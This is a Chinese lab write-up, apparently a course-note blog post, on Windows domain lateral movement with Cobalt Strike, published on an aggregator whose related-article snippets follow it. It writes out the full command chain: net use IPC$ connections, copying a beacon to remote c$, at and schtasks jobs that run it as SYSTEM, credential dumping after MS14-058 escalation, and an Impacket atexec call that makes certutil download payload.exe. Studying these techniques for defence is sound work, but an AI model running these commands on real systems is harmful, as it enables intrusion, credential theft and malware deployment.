128-域横向移动IPCATSC命令Impacket套件CS插件全自动

news2025/1/11 12:45:15

因为只有一台云服务器而且开不起台多的虚拟机只能只用几台进行演示😭😭😭

小迪的环境

上线之后先做的事情:

IPC方式进行横向移动

  • at

  • schtasks

他这里第三条命令有问题换成这个可以执行

schtasks /create /s 172.16.3.128 /U administrator /P QWEasd123 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\win7rn.exe /F #创建becaon任务对应执行文件

第四条也有问题换成这个

schtasks /s 172.16.3.128 /U administrator /P QWEasd123 /RUN /TN beacon /i #运行beacon任务

这个套件有python版本和exe的,exe的文件太大了好用是好用,而且文件太大了容易报警引起感知

GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.

GitHub - maaaaz/impacket-examples-windows: The great impacket example scripts compiled for Windows

exe版本可以实现使用hash值进行操作有点意思

复现:

DC域控 172.16.3.3        域用户user3        win7主机 172.16.3.

之前已近搭建好了DC域控,然后域是niganma.hhh 分别将几台主机加入域环境先

win7加入域环境

将win7的dns地址填写DC的ip地址(DC的dns填写127.0.0.1)

然后再添加到域中

重启后通过域用户进行登录才会登录进域

查看一下域时间如果有就是在域环境里面了,然后将另外一台也拖入域内。

目前的环境大概是这样的

因为是在已经拿下了web服务器的权限的情况下进一步的渗透,所以这里直接放木马到web服务器上运行了

按照正常步骤走,上线之后首先进行一些信息收集,比如首先判断是否处于内网环境

使用net time /domain 成功了就代表在内网的环境

拿到这个域的可以去ping它获取到域控 的地址

shell ping DC.niganma.hhh

此时就可以确认域控的ip为172.16.3.3

然后shell net user /domain 收集域内用户的信息

然后做一下网络探测和端口扫描,这里可能会遇到权限不足的情况就无法进行所以有时候要先进行提权,进行端口扫描会顺便进行主机存活的探测

扫描完后看看目标列表,在上面的视图里面这个目标列表,同时前期的信息收集判断了3.3是DC这里就可以给他标记一下,右键主机备注

在域内的横向渗透基本上是通过获取到的密码凭据,所以这里我们可以先抓取hash或者明文密码(然后发现我这里权限不够所以需要先提权,然后使用cs自带的提权就提到powershell。。。这里用了几种插件里面携带的提权方式,最终MS14-058(CVE-2014-4113拿到了system权限,也就是说想要获取hash要么是adminstrator权限要么是system权限)

        这一下基本上的密码就拿到手了,我这里user4就是这个域用户的密码,明文也被抓出来了,不过这个主机我没有用域控的账号在上面登录过,好像只要在这个主机上登录过的等会被抓取出来

解下来使用IPC的方式进行横向移动

这里先演示怎么进行IPC的操作,这里演示要用到域控的权限才可以进行。后面还会有不用域控权限也拿下的演示

有两种IPC的方式对应的不同的版本,

        1、小于win2012的用at

        2、大于win2012的用schtasks

at方式

        首先我们需要判断是否出网那个,使用ping就可以判断出来,然后如果我们想拿下内网172.16.3.134用户主机,我们可以选择正向或者反向的链接对吧,这里首先生成一个正向的木马出来,然后把这个木马先放到我们控制的这个web主机上面去

监听器:

然后找到文件浏览将生成的木马上传上去,放到当前的目录 下

然后使用命令

net use \\172.16.3.134\ipc$ "QWEasd123" /user:niganma.hhh\administrator #这里填要移动到的主机IP,然后是域控的账号

copy win7rn.exe \\172.16.3.134\c$ #将木马复制过去

显示已复制就是成功了,在靶机这边也可以看到

at \\172.16.3.134 20:58 c:\win7rn.exe #设置一个定时任务去执行这个程序,这里执行命令建议先看一下域内的时间,而不是看我们自己的时间。。。

然后时间到了后就可以主动去连接它

connect 172.16.3.134 4444

因为是用的域控的权限所以拿到就是最高的权限

到这里演示完毕先把这个下线了

schtasks

这里为了演示这个我不得不新添加了一台win2012的虚拟机,IP为172.16.3.128

更新拓扑

然后cs重新扫描一下存活主机

然后先IPC连接到win2012

net use \\172.16.3.128\ipc$ "QWEasd123" /user:niganma.hhh\administrator

copy win7rn.exe \\172.16.3.128\c$ #复制到对方c盘下

schtasks /create /s 172.16.3.128 /U administrator /P QWEasd123 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\win7rn.exe /F #创建becaon任务对应执行文件

schtasks /s 172.16.3.128 /U administrator /P QWEasd123 /RUN /TN beacon /i #运行beacon任务

执行程序成功然后主动连接就可以了,也是成功上线了

除了手工输入命令在插件里面也是集成了此链接方式

shelll net use 查看建立的链接(我这里重新建立的和134的链接,使用插件可以删除建立的链接)

到此简单的IPC的方式演示完毕,把这个会话删除退出。

使用IPC套件版-Impacket-atexec

impacket-atexec

exe文件就这样

使用这个exe文件可以使用hash进行IPC连接,但是我这里没有dump到管理员的账号和密码所以就不做演示

这是使用certutil进行下载文件的命令,不过我这个web机不知道怎么回事进了域启动小p有问题。。。

atexec.exe niganma/administrator:QWEasd123@192.168.3.134 "certutil -f -split -urlcache http://172.16.3.131:80/payload.exe beacon.exe"

工具的使用没有演示了,然后就是python脚本演示鸽了几天忘记了没演示了。。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2065055.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

证书学习(二)搞懂 keystore、jks、p12、pfx、crt、csr、pem文件的区别

目录 一、背景二、文件格式的区分2.1 .keystore / .jks 文件2.2 .p12 / .pfx 文件2.3 .crt 文件2.4 csr 文件2.5 .pem 文件 三、总结 一、背景 我们在日常的开发过程中,经常会见到各种各样的证书相关类型的文件,错综复杂。 其实 keystore、jks、p12、p…

濮阳示范区党工委书记杨行玉一行莅临超维机器人参观考察

8月20日,濮阳示范区党工委书记杨行玉带队赴郑州开展招商活动,并莅临超维机器人参观考察。此次考察旨在加快濮阳示范区产业升级步伐,推动高科技项目引进和落地,为区域经济高质量发展注入新动能。区三级调研员张立春、区招商局负责人…

外挂系统 -减少SAP用户许可数, 多点操作及时同步SAP

用过SAP 的人都知道SAP 是按照用户数来计算项目费用和年维护费的,所以很多公司设置了共同账号,外挂程序,WDA程序等,各种各样的规避方式。 当然SAP 标准的功能也相对简单化,要实现一些自定义的功能来满足各企业实际业务,那需要进行二次开发,有些顾问公司则通过在SAP 中开…

云计算实训33——高并发负载均衡项目(eleme)

一、配置一主两从mysql服务器(mysql5.7) 1.主服务器master 下载mysql5.7的包 [rootMysql ~]# rz -E rz waiting to receive. [rootMysql ~]# ls anaconda-ks.cfg mysql-5.7.44-linux-glibc2.12-x86_64.tar.gz #解压 [rootMysql ~]# tar -zxf mysql-5…

用TensorFlow实现线性回归

说明 本文采用TensorFlow框架进行讲解,虽然之前的文章都采用mxnet,但是我发现tensorflow提供了免费的gpu可供使用,所以果断开始改为tensorflow,若要实现文章代码,可以使用colaboratory进行运行,当然&#…

ZooKeeper入门及核心知识点整理

什么是Zookeeper Zookeeper简称zk,先从字面意思上去理解,那就是动物园管理员。其实zk是大数据领域中的一员,为整个分布式环境提供了协调服务,主要可以用于存储一些配置信息,同时也可以基于zk实现集群。它是一个apache…

RabbitMQ的基础概念介绍

MQ的三大特点:削峰、异步、解耦 1.RabblitMQ概念介绍 1.1概念 RabbitMQ是由erlang语言开发,基于AMQP(Advanced Message Queue 高级消息队列协议)协议实现的消息队列,它是一种应用程序之间的通信方法,消息…

【docker】使用docker-compose的时候如何更新镜像版本

使用docker-compose的时候如何更新镜像版本。之前总是会忘记怎么操作,每次都得百度搜,干脆记录一下。 说明 我有一个memos是用docker-compose部署的,memos更新的挺频繁的,新版本的功能也不错,更新一下没啥问题。 注…

吴恩达机器学习课后作业-03多分类、神经网络前向传播

这里写目录标题 逻辑回归解决多分类问题(逻辑回归的“一对多”(One-vs-All)策略。)绘制图像结果 神经网络前向传播数字识别 、 逻辑回归解决多分类问题(逻辑回归的“一对多”(One-vs-All)策略。…

[Algorithm][综合训练][孩子们的游戏][大数加法][拼三角]详细讲解

目录 1.孩子们的游戏1.题目链接2.算法原理详解 && 代码实现 2.大数加法1.题目链接2.算法原理详解 && 代码实现 3.拼三角1.题目链接2.算法原理详解 && 代码实现 1.孩子们的游戏 1.题目链接 孩子们的游戏 2.算法原理详解 && 代码实现 问题抽象…

LongWriter——从长文本语言模型中释放出10,000+字的生成能力

概述 当前的长上下文大型语言模型 (LLM) 可以处理多达 100,000 个词的输入,但它们很难生成超过 2,000 个词的输出。受控实验表明,该模型的有效生成长度本质上受到监督微调(SFT) 期间看到的示例的限制。换句话说,这种输出限制源于现有 SFT 数…

三维模型单体化软件:地理信息与遥感领域的精细化革命

在地理信息与遥感科学日新月异的发展浪潮中,单体化软件作为一股强大的驱动力,正引领着我们迈向空间信息处理与应用的新纪元。本文旨在深度解析单体化软件的核心价值、技术前沿、实践应用及面临的挑战,共同探讨这一技术如何塑造行业的未来。 …

【手撕OJ题】——BM8 链表中倒数最后k个结点

目录 🕒 题目⌛ 方法① - 直接遍历⌛ 方法② - 快慢指针 🕒 题目 🔎 BM8 链表中倒数最后k个结点【难度:简单🟢】 输入一个长度为 n 的链表,设链表中的元素的值为 a i a_i ai​ ,返回该链表中倒…

一款MySQL数据库实时增量同步工具,能够监听MySQL二进制日志(Binlog)的变动(附源码)

背景 作为一名CURD的程序员,少不了跟MySQL打交道,在同步数据的时候,MySQL的Binlog显得重中之重,所以处理Binlog的工具尤为重要。 其中阿里巴巴开源的canal 更是耳闻目睹,但是今天小编给大家介绍另外一款MySQL数据库实…

【C++11】常用新语法②(类的新功能 || 可变参数模板 || lambda表达式 || 包装器)

🔥个人主页: Forcible Bug Maker 🔥专栏: C 目录 🌈前言🔥类的新功能新增默认成员函数强制生成默认函数的关键字default禁止生成默认函数的关键字delete 🔥可变参数模板递归函数方式展开参数包…

论文翻译:Benchmarking Large Language Models in Retrieval-Augmented Generation

https://ojs.aaai.org/index.php/AAAI/article/view/29728 检索增强型生成中的大型语言模型基准测试 文章目录 检索增强型生成中的大型语言模型基准测试摘要1 引言2 相关工作3 检索增强型生成基准RAG所需能力数据构建评估指标 4实验设置噪声鲁棒性结果负面拒绝测试平台结果信息…

算法5:位运算

文章目录 小试牛刀进入正题 没写代码的题,其链接点开都是有代码的。开始前请思考下图: 小试牛刀 位1的个数 class Solution { public:int hammingWeight(int n) {int res 0;while (n) {n & n - 1;res;}return res;} };比特位计数 class Solution…

计算机毕业设计选题推荐-猫眼电影数据可视化分析-Python爬虫-k-means算法

✨作者主页:IT毕设梦工厂✨ 个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…

进程和文件痕迹排查——LINUX

目录 介绍步骤 介绍 进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是操作系统结构的基础。 在早期面向进程设计的计算机结构中,进程是程序的基本执行实体&…

fastadmin 安装

环境要求,大家可以参考官方文档的,我这里使用的是phpstudy,很多已经集成了。 注意一点,PHP 版本:PHP 7.4 。 第二步:下载 下载地址:https://www.fastadmin.net/download.html 进入下载地址后…